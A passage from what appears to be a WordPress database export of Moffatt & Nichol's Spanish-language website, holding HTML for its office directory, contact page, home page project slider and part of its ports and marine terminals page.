ORLEANS</h2>\r\n<strong>dirección</strong>\r\n\r\n601 Poydras Street, Suite 1860\r\n\r\nNew Orleans, LA 70130\r\n\r\n<strong>teléfono</strong>\r\n\r\n+1 504-648-3560\r\n\r\n<strong>fax</strong>\r\n\r\n\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"addressbox_one\">\r\n<div class=\"addbox_left\">\r\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/new-york.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"abu_dhabi\">\r\n<h2 id=\"11\">NUEVA YORK</h2>\r\n<strong>dirección</strong>\r\n\r\n104 West 40th Street, 14th Floor\r\n\r\nNueva York, NY 10018\r\n\r\n<strong>teléfono</strong>\r\n\r\n+1 212-768-7454\r\n\r\n<strong>fax</strong>\r\n\r\n+1 212-768-7936\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"addressbox_one\">\r\n<div class=\"addbox_left\">\r\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/newfolk.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"abu_dhabi\">\r\n<h2 id=\"12\">NORFOLK</h2>\r\n<strong>dirección</strong>\r\n\r\n800 World Trade Center\r\n\r\nNorfolk, VA 23510\r\n\r\n<strong>teléfono</strong>\r\n\r\n+1 757-628-8222\r\n\r\n<strong>fax</strong>\r\n\r\n+1 757-628-8244\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"addressbox_one\">\r\n<div class=\"addbox_left\">\r\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/oakland.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"abu_dhabi\">\r\n<h2 id=\"13\">OAKLAND</h2>\r\n<strong>dirección</strong>\r\n\r\n1300 Clay Street, Suite 550\r\n\r\nOakland, CA 94612\r\n\r\n<strong>teléfono</strong>\r\n\r\n+1 510-645-1238\r\n\r\n<strong>fax</strong>\r\n\r\n+1 510-645-1010\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"addressbox_one\">\r\n<div class=\"addbox_left\">\r\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/orlando.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"abu_dhabi\">\r\n<h2 id=\"14\">ORLANDO</h2>\r\n<strong>dirección</strong>\r\n\r\n1025 Greenwood Blvd., Suite 371\r\n\r\nLake Mary, FL 32806\r\n\r\n<strong>teléfono</strong>\r\n\r\n+1 407-562-2030\r\n\r\n<strong>fax</strong>\r\n\r\n+1 407-562-2031\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"addressbox_one\">\r\n<div class=\"addbox_left\">\r\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/panama.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"abu_dhabi\">\r\n<h2 id=\"15\">PANAMÁ</h2>\r\n<strong>dirección</strong>\r\n\r\nOcean Business Plaza, Oficina 1204,\r\n\r\nAv. Aquilino de la Guardia y Calle 47\r\n\r\nPanamá, República de Panamá\r\n\r\n<strong>teléfono</strong>\r\n\r\n+507-301-0901\r\n\r\n<strong>fax</strong>\r\n\r\n+507-301-0906\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"addressbox_one\">\r\n<div class=\"addbox_left\">\r\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/religh.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"abu_dhabi\">\r\n<h2 id=\"16\">RALEIGH</h2>\r\n<strong>dirección</strong>\r\n\r\n1616 East Millbrook Road, Suite 160\r\n\r\nRaleigh, NC 27609\r\n\r\n<strong>teléfono</strong>\r\n\r\n+1 919-781-4626\r\n\r\n<strong>fax</strong>\r\n\r\n+1 919-781-4869\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"addressbox_one\">\r\n<div class=\"addbox_left\">\r\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/richmond.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"abu_dhabi\">\r\n<h2 id=\"17\">RICHMOND</h2>\r\n<strong>dirección</strong>\r\n\r\n1100 Boulders Parkway, Suite 350\r\n\r\nRichmond, VA 23225\r\n\r\n<strong>teléfono</strong>\r\n\r\n+1 804-320-1996\r\n\r\n<strong>fax</strong>\r\n\r\n+1 804-560-0959\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"addressbox_one\">\r\n<div class=\"addbox_left\">\r\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/rochester.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"abu_dhabi\">\r\n<h2 id=\"18\">ROCHESTER</h2>\r\n<strong>dirección</strong>\r\n\r\n250 Mill Street, Suite 307\r\n\r\nRochester, NY 14614\r\n\r\n<strong>teléfono</strong>\r\n\r\n+1 585-641-7128\r\n\r\n<strong>fax</strong>\r\n\r\n+1 585-777-4108\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"addressbox_one\">\r\n<div class=\"addbox_left\">\r\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/Brazil.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"abu_dhabi\">\r\n<h2 id=\"5\">RÍO DE JANEIRO</h2>\r\n<strong>dirección</strong>\r\n\r\nAv. Afonso Arinos de Melo Franco, no. 222\r\nBloco 1-Sala 1509\r\nBarra da Tijuca – Rio de Janeiro – RJ\r\nCEP 22631-455\r\n\r\n<strong>teléfono</strong>\r\n\r\n+55 21 3202 6100\r\n\r\n<strong>fax</strong>\r\n\r\n+55 21 3202 6149\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"addressbox_one\">\r\n<div class=\"addbox_left\">\r\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/sacramento.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"abu_dhabi\">\r\n<h2 id=\"19\">SACRAMENTO</h2>\r\n<strong>dirección</strong>\r\n\r\n5955 Granite Lake Drive, Suite 140\r\n\r\nGranite Bay, CA 95746\r\n\r\n<strong>teléfono</strong>\r\n\r\n+1 510-645-1238\r\n\r\n<strong>fax</strong>\r\n\r\n+1 510-645-1010\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"addressbox_one\">\r\n<div class=\"addbox_left\">\r\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/san-diago.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"abu_dhabi\">\r\n<h2 id=\"20\">SAN DIEGO</h2>\r\n<strong>dirección</strong>\r\n\r\nM&amp;N BLAYLOCK\r\n\r\n1660 Hotel Circle North, Suite 500\r\n\r\nSan Diego, CA 92108\r\n\r\n<strong>teléfono</strong>\r\n\r\n+1 619-220-6050\r\n\r\n<strong>fax</strong>\r\n\r\n+1 619-220-6055\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n\r\n<div class=\"addressbox_one\">\r\n<div class=\"addbox_left\">\r\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#30\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/santiago.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"abu_dhabi\">\r\n<h2 id=\"21\">Santiago</h2>\r\n<strong>dirección</strong>\r\n\r\nAv. Presidente Riesco 5335, Piso 9\r\n\r\nLas Condes, Santiago\r\n\r\nChile\r\n\r\n<strong>teléfono</strong>\r\n\r\n+56 2 27143926\r\n\r\n<strong>fax</strong>\r\n\r\n+56 2 26591204\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n\r\n<div class=\"addressbox_one\">\r\n<div class=\"addbox_left\">\r\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/sevanha.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"abu_dhabi\">\r\n<h2 id=\"21\">SAVANNAH</h2>\r\n<strong>dirección</strong>\r\n\r\n2 East Bryan Street, Suite 50\r\n\r\nSavannah, GA 31401\r\n\r\n<strong>teléfono</strong>\r\n\r\n+1 912-231-0044\r\n\r\n<strong>fax</strong>\r\n\r\n+1 912-231-0046\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"addressbox_one\">\r\n<div class=\"addbox_left\">\r\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/seattle.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"abu_dhabi\">\r\n<h2 id=\"22\">SEATTLE</h2>\r\n<strong>dirección</strong>\r\n\r\n600 University Street, Suite 610\r\n\r\nSeattle, WA 98101\r\n\r\n<strong>teléfono</strong>\r\n\r\n+1 206-622-0222\r\n\r\n<strong>fax</strong>\r\n\r\n+1 206-622-4764\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"addressbox_one\">\r\n<div class=\"addbox_left\">\r\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/tampa.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"abu_dhabi\">\r\n<h2 id=\"23\">TAMPA</h2>\r\n<strong>dirección</strong>\r\n\r\n1509 W. Swann Avenue, Suite 225\r\n\r\nTampa, FL 33606\r\n\r\n<strong>teléfono</strong>\r\n\r\n+1 813-258-8818\r\n\r\n<strong>fax</strong>\r\n\r\n+1 813-258-8525\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"addressbox_one\">\r\n<div class=\"addbox_left\">\r\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/vancouver.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"abu_dhabi\">\r\n<h2 id=\"24\">VANCOUVER</h2>\r\n<strong>dirección</strong>\r\n\r\n777 W. Broadway, Suite 301\r\n\r\nVancouver BC, Canadá V5Z 4J7\r\n\r\n<strong>teléfono</strong>\r\n\r\n+1 604-707-9004\r\n\r\n<strong>fax</strong>\r\n\r\n+1 604-707-9005\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"addressbox_one\">\r\n<div class=\"addbox_left\">\r\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/vicksburg.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"abu_dhabi\">\r\n<h2 id=\"25\">VICKSBURG</h2>\r\n<strong>dirección</strong>\r\n\r\n1905A Mission 66, Suite 6\r\n\r\nVicksburg, MS 39180\r\n\r\n<strong>teléfono</strong>\r\n\r\n+1 601-629-6415\r\n\r\n<strong>fax</strong>\r\n\r\n+1 601-629-6416\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"addressbox_one\">\r\n<div class=\"addbox_left\">\r\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/walnut-creek.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"abu_dhabi\">\r\n<h2 id=\"26\">WALNUT CREEK</h2>\r\n<strong>dirección</strong>\r\n\r\n2185 N. California Blvd, Suite 500\r\n\r\nWalnut Creek, CA 94596-3500\r\n\r\n<strong>teléfono</strong>\r\n\r\n+1 925-944-5411\r\n\r\n<strong>fax</strong>\r\n\r\n+1 925-944-4732\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n</div>\r\n<div class=\"topbtn\"><a title=\"Volver al principio\" href=\"#top\">Volver al principio</a></div>','Nuestras oficinas','','publish','open','open','','our-offices','','','2014-03-18 16:04:56','2014-03-18 16:04:56','',0,'http://moffattnichol.com/spanish/?page_id=14',2,'page','',0),(16,1,'2011-10-17 14:02:38','2011-10-17 14:02:38','<div class=\"content_faq\">\r\n<div class=\"contact-left\">\r\n            <h1>contáctenos</h1>\r\n            Si desea información sobre nuestros mercados y áreas de especialización, complete el formulario y un representante de Moffatt & Nichol se pondrá en contacto con usted a la brevedad. \r\n\r\n            También puede visitar <a href=\"http://moffattnichol.com/spanish/our-offices/\">nuestras oficinas</a> para ponerse en contacto con alguien en su área.\r\n            \r\n            Puede comunicarse con nuestro grupo de desarrollo de negocios escribiendo a <a href=\"mailto:inquiry@moffattnichol.com\">inquiry@moffattnichol.com</a> o llamando al (562) 590-6500 / (540)-662-6623.\r\n            <div class=\"contact-connectlink\">\r\n              Conéctese con nosotros:\r\n              <a href=\"http://twitter.com/moffattnichol/\" target=\"_blank\" title=\"Twitter\">Twitter </a>| <a href=\"http://www.facebook.com/moffattnichol\" target=\"_blank\" title=\"Facebook\">Facebook </a>| <a href=\"http://www.linkedin.com/company/moffatt-&-nichol\" target=\"_blank\" title=\"Linked in\">Linked.in </a></div>\r\n\r\n<br />\r\n\r\n<h3>empleo</h3> El éxito de nuestra firma se debe en gran parte al conocimiento, experiencia y compromiso de nuestro variado equipo de profesionales. Únase a nosotros y disfrute de una gratificante carrera profesional con Moffatt &amp; Nichol. Para ver las oportunidades de desarrollo profesional, visite nuestra <a href=\"http://tbe.taleo.net/NA8/ats/careers/jobSearch.jsp?org=MOFFATTNICHOL&cws=1\">página de empleos</a>.\r\n\r\n<br />\r\n\r\n<h3>participación de pequeñas empresas</h3> Moffatt & Nichol se asocia habitualmente con pequeñas compañías calificadas para complementar nuestro conocimiento técnico interno. Si desea conocer más sobre nuestras oportunidades para pequeñas empresas, visite nuestra <a href=\"http://moffattnichol.com/spanish/small-business-outreach/\">página de participación de pequeñas empresas</a>.\r\n </div>\r\n\r\n<div class=\"partnership_right\">\r\n<h4>formulario de contacto</h4>\r\n<div class=\"txt_boxbg\">\r\n            <span>[contact-form-7 id=\"2380\" title=\"Contact form 1\"]</span>\r\n            </div>\r\n<div class=\"clear\"></div>\r\n<div class=\"clear\"></div>\r\n</div>\r\n</div>\r\n&nbsp;\r\n&nbsp;\r\n&nbsp;\r\n&nbsp;\r\n&nbsp;\r\n&nbsp;\r\n&nbsp;\r\n&nbsp;\r\n&nbsp;\r\n&nbsp;\r\n<div class=\"topbtn\"> <a href=\"#top\" title=\"Volver al principio\">Volver al principio</a></div>','Contáctenos','','publish','open','open','','contact-us','','','2012-09-24 07:40:54','2012-09-24 07:40:54','',0,'http://moffattnichol.com/spanish/?page_id=16',3,'page','',0),(19,1,'2011-10-17 14:43:18','2011-10-17 14:43:18','<div class=\"content_one\">\r\n  <div class=\"lft_content\">\r\n    <h1>acerca de moffatt &amp; nichol</h1>\r\n    <div class=\"welcome-txt\">Moffatt &amp; Nichol es un destacado consultor de infraestructura a nivel global que se especializa en el planeamiento y diseño de las instalaciones que dan forma a nuestras líneas costeras, puertos y ríos, así como un innovador en las complejidades del transporte relacionadas con el movimiento de carga terrestre.</div>\r\n    <div class=\"moreinformation\"><a title=\"Más acerca de Moffatt &amp; Nichol\" href=\"about-us\">Más acerca de Moffatt &amp; Nichol</a> | <a title=\"Ubicación de las oficinas\" href=\"our-offices\">Ubicación de las oficinas</a> | <a title=\"Información de contacto\" href=\"contact-us\">Información de contacto</a></div></div>\r\n  <div class=\"logo_center\"><a title=\"Moffatt &amp; Nichol\" href=\"http://moffattnichol.com/spanish/\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/logo_center.jpg\" alt=\"Moffatt &amp; Nichol\" width=\"214\" height=\"86\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"banner\">\r\n  <div class=\"slider-wrap\">\r\n  <ul id=\"movers-row\">\r\n              <li class=\"featured_projects\">proyectos especiales</li>\r\n              <li class=\"cross-link\"><a href=\"#1\" class=\"cross-link\">Puertos, <br />y terminales marítimas</a></li>\r\n              <li class=\"cross-link\"><a href=\"#2\" class=\"cross-link\">Recursos costeros, <br /> medioambientales e hídricos</a></li>\r\n              <li class=\"cross-link\"><a href=\"#3\" class=\"cross-link\">Transporte, <br />puentes y ferrocarriles</a></li>\r\n              <li class=\"cross-link\"><a href=\"#4\" class=\"cross-link\">Frentes de mar urbanos <br /> y puertos deportivos </a></li>\r\n              <li class=\"cross-link\"><a href=\"#5\" class=\"cross-link\">Energía</a></li>\r\n              <li class=\"cross-link\"><a href=\"#6\" class=\"cross-link\">Inspección y rehabilitación</a></li>\r\n            </ul>\r\n    <div id=\"main-photo-slider\" class=\"csw\">\r\n      <div class=\"panelContainer\">\r\n        <div class=\"panel\" title=\"Puertos, y terminales marítimas\">\r\n          <div class=\"wrapper\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/ports-new/ports-one.jpg\" alt=\"temp\" width=\"588\" height=\"231\" />\r\n            <div class=\"photo-meta-data\">\r\n              <div class=\"project_title\">\r\n                <div class=\"project_left\"><strong class=\"green\">Reemplazo del muelle 5 de reparación de naves</strong></div>\r\n                <div class=\"project_right\">Moffatt & Nichol lideró una empresa conjunta con MN3M que se encargó del planeamiento, el análisis, la representación, los documentos de contratos de diseño-licitación-construcción, la gerencia <span class=\"read_morenew\"><a href=\"http://moffattnichol.com/spanish/ports-harbors-marine-terminals/\">Leer más</a></span></div>\r\n              </div>\r\n            </div>\r\n          </div>\r\n        </div>\r\n        <div class=\"panel\" title=\"Recursos costeros, medioambientales e hídricos\">\r\n          <div class=\"wrapper\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/coastal-banner/coastel-four.jpg\" alt=\"temp\" width=\"588\" height=\"231\" />\r\n            <div class=\"photo-meta-data\">\r\n              <div class=\"project_title\">\r\n                <div class=\"project_left\"><strong class=\"green\">Coney Island Sea-Gate</strong></div>\r\n                <div class=\"project_right\">Como parte de un estudio que examinó el funcionamiento del proyecto de rellenado de las playas de Coney Island, Moffatt & Nichol desarrolló alternativas para mejorar la retención de la arena dentro del segmento <span class=\"read_morenew\"><a href=\"http://moffattnichol.com/spanish/coastal-environmental-water-resources/\">Leer más</a></span></div>\r\n              </div>\r\n            </div>\r\n          </div>\r\n        </div>\r\n        <div class=\"panel\" title=\"Transporte, puentes y ferrocarriles\">\r\n          <div class=\"wrapper\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/new-transport/trans-one.jpg\" alt=\"temp\" width=\"588\" height=\"231\" />\r\n            <div class=\"photo-meta-data\">\r\n              <div class=\"project_title\">\r\n                <div class=\"project_left\"><strong class=\"green\">Corredor Alameda</strong></div>\r\n                <div class=\"project_right\">Como miembro de la empresa conjunta Alameda Corridor Engineering Team, Moffatt & Nichol prestó servicios de planeamiento, ingeniería y gestión del programa para el proyecto <span class=\"read_morenew\"><a href=\"http://moffattnichol.com/spanish/transportation-bridge-rail/\">Leer mÃ¡s</a></span></div>\r\n              </div>\r\n            </div>\r\n          </div>\r\n        </div>\r\n        <div class=\"panel\" title=\"Frentes de mar urbanos y puertos deportivos\">\r\n          <div class=\"wrapper\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/urban-new/urban-one.jpg\" alt=\"temp\" width=\"588\" height=\"231\" />\r\n            <div class=\"photo-meta-data\">\r\n              <div class=\"project_title\">\r\n                <div class=\"project_left\"><strong class=\"green\">Servicios de ingeniería del puerto deportivo Huishan North Bund</strong></div>\r\n                <div class=\"project_right\">Como miembro principal del equipo de diseño de Huishan North Bund, Moffatt & Nichol aportó el diseño esquemático para dos sistemas de estanques y esclusas así como el diseño de <span class=\"read_morenew\"><a href=\"http://moffattnichol.com/spanish/urban-waterfronts-marinas/\">Leer más</a></span></div>\r\n              </div>\r\n            </div>\r\n          </div>\r\n        </div>\r\n        <div class=\"panel\" title=\"Energía\">\r\n          <div class=\"wrapper\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/energy/energy-one.jpg\" alt=\"temp\" width=\"588\" height=\"231\" />\r\n            <div class=\"photo-meta-data\">\r\n              <div class=\"project_title\">\r\n                <div class=\"project_left\"><strong class=\"green\">Terminal marítima de GNL Sabine Pass</strong></div>\r\n                <div class=\"project_right\">Moffatt & Nichol aportó el diseño de ingeniería marítima EPC (Ingeniería, adquisición y construcción) para la terminal marítima de gas natural licuado Sabine Pass en la vía navegable Sabine, aproximadamente <span class=\"read_morenew\"><a href=\"http://moffattnichol.com/spanish/energy/\">Leer más</a></span></div>\r\n              </div>\r\n            </div>\r\n          </div>\r\n        </div>\r\n        <div class=\"panel\" title=\"Inspección y rehabilitación\">\r\n          <div class=\"wrapper\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/inspection/ins-three.jpg\" alt=\"\" width=\"588\" height=\"231\" /></div>\r\n          <div class=\"photo-meta-data\">\r\n            <div class=\"project_title\">\r\n              <div class=\"project_left\"><strong class=\"green\">Inspección de instalaciones de frente costero del astillero naval Puget Sound</strong></div>\r\n              <div class=\"project_right\">Mediante un contrato IDIQ (Entrega indefinida, cantidad indefinida) con el Centro de servicio NAVFAC, Moffatt & Nichol prestó servicios de inspección de instalaciones de frentes costeros <span class=\"read_morenew\"><a href=\"http://moffattnichol.com/spanish/inspection-rehabilitation/\">Leer más</a></span></div>\r\n            </div>\r\n          </div>\r\n        </div>\r\n      </div>\r\n    </div>\r\n  </div>\r\n</div>','Inicio','','publish','open','open','','about-moffatt-nichol','','','2012-12-26 15:02:49','2012-12-26 15:02:49','',0,'http://moffattnichol.com/spanish/?page_id=19',0,'page','',0),(48,1,'2011-10-18 11:23:52','2011-10-18 11:23:52','<div class=\"content_faq\">\r\n<div class=\"banner-space\">\r\n       [anything_slides cat=ports-harbors-marine-terminals width=588 height=315  delay=5000 resume=15000 animation=500 order=ASC orderby=menu_order theme=construction]\r\n        </div>\r\n       <div class=\"ports-left\">\r\n            <h3>puertos y terminales marítimas</h3> Como una de las mayores firmas especializadas en el planeamiento y la ingeniería marítimos del mundo, Moffatt & Nichol ha jugado un papel importante en la evolución del puerto moderno. Somos reconocidos internacionalmente por proporcionar soluciones innovadoras a la industria portuaria y marítima. Participamos en la llegada de la contenedorización y tenemos expertos técnicos que conocen profundamente las complejas tendencias de hoy del movimiento de mercancías y las regulaciones ambientales. Ofrecemos capacidades internas integradas, desde el análisis del concepto y el estudio de factibilidad hasta el planeamiento, el diseño y la construcción. Moffatt & Nichol puede dar soporte, prácticamente, a cualquier tarea portuaria, marítima o de transporte de carga desde sus oficinas y centros ubicados en Norteamérica, Europa y América Latina.\r\n   <div class=\"moreheadlines-newone\"><a title=\"Ver perfil completo\" href=\"http://moffattnichol.com/spanish/ports-harbors-marine-terminals/ports%20and%20harbors%20services/\">Examinar los servicios portuarios y de terminales marítimas >></a></div>        \r\n</div>\r\n         <div class=\"brochure-wrapper-ports\">\r\n             <h3>publicaciones relevantes</h3><br />\r\n            <div class=\"brochure-one\">\r\n              <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/ports-1.jpg\" /></div>\r\n              <div class=\"bordhure-text\"> <em class=\"aapa-date\">Folleto</em><br />\r\n                <strong class=\"green-new\">FOLLETO DE PUERTOS Y TERMINALES MARÍTIMAS</strong><br />\r\n                Moffatt & Nichol es una de las mayores firmas especializadas en el planeamiento y la ingeniería marítimos del mundo y ha jugado un papel importante en la evolución del puerto moderno.</div>\r\n              <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/ports-harbors-and-marine-terminals-brochure/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/PORTS1HARBORS1MARINE1TERMINALS.pdf\" title=\"Descargar\" target=\"_blank\">Descargar</a></span></div>\r\n              \r\n            <div class=\"brochure-one\">\r\n              <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/ports-2.jpg\" /></div>\r\n              <div class=\"bordhure-text-two\"> <em class=\"aapa-date\">Folleto</em><br />\r\n                <strong class=\"green-new\">FOLLETO DE AUTOMATIZACIÓN PORTUARIA</strong><br />\r\n                Con décadas de experiencia de trabajo para autoridades portuarias y operadores de terminales marítimas de todo el mundo, Moffatt & Nichol es reconocido como un líder e innovador en el planeamiento y el diseño  </div>\r\n              <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/port-automation-brochure/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/PORT1AUTOMATION.pdf\" title=\"Descargar\" target=\"_blank\">Descargar</a></span> </div>\r\n              \r\n            <div class=\"brochure-one\">\r\n              <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/ports-3.jpg\" /></div>\r\n              <div class=\"bordhure-text-two\"> <em class=\"aapa-date\">Folleto</em><br />\r\n                <strong class=\"green-new\">FOLLETO DE SEGURIDAD PORTUARIA</strong><br />\r\n               Con más de 60 años de experiencia, Moffatt & Nichol es un líder mundial en el tratamiento de los aspectos relacionados con las operaciones y la seguridad de la industria marítima. De acuerdo con iniciativas de Seguridad Nacional &nbsp;\r\n </div>\r\n              <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/port-security-brochure/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/PORT1SECURITY.pdf\" title=\"Descargar\" target=\"_blank\">Descargar</a></span> </div>\r\n              \r\n            <div class=\"brochure-last\">\r\n              <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/ports-4.jpg\" /></div>\r\n              <div class=\"bordhure-text-two\"> <em class=\"aapa-date\">Folleto</em><br />\r\n                <strong class=\"green-new\">FOLLETO DE SERVICIOS CONSULTIVOS COMERCIALES GLOBALES</strong><br />\r\n              Los servicios consultivos comerciales globales de Moffatt & Nichol aprovechan las singulares capacidades de planeamiento marítimo y de infraestructura de la firma y ofrecen un conjunto de servicios que utilizan  </div>\r\n              <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/global-commercial-advisory-services-brochure/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/GLOBAL1COMMERCIAL1ADVISORY1SERVICES.pdf\" title=\"Descargar\" target=\"_blank\">Descargar</a></span> </div>\r\n        </div>\r\n        \r\n        <div class=\"brochure-wrapper-ports\">\r\n            <div class=\"brochure-one\">\r\n              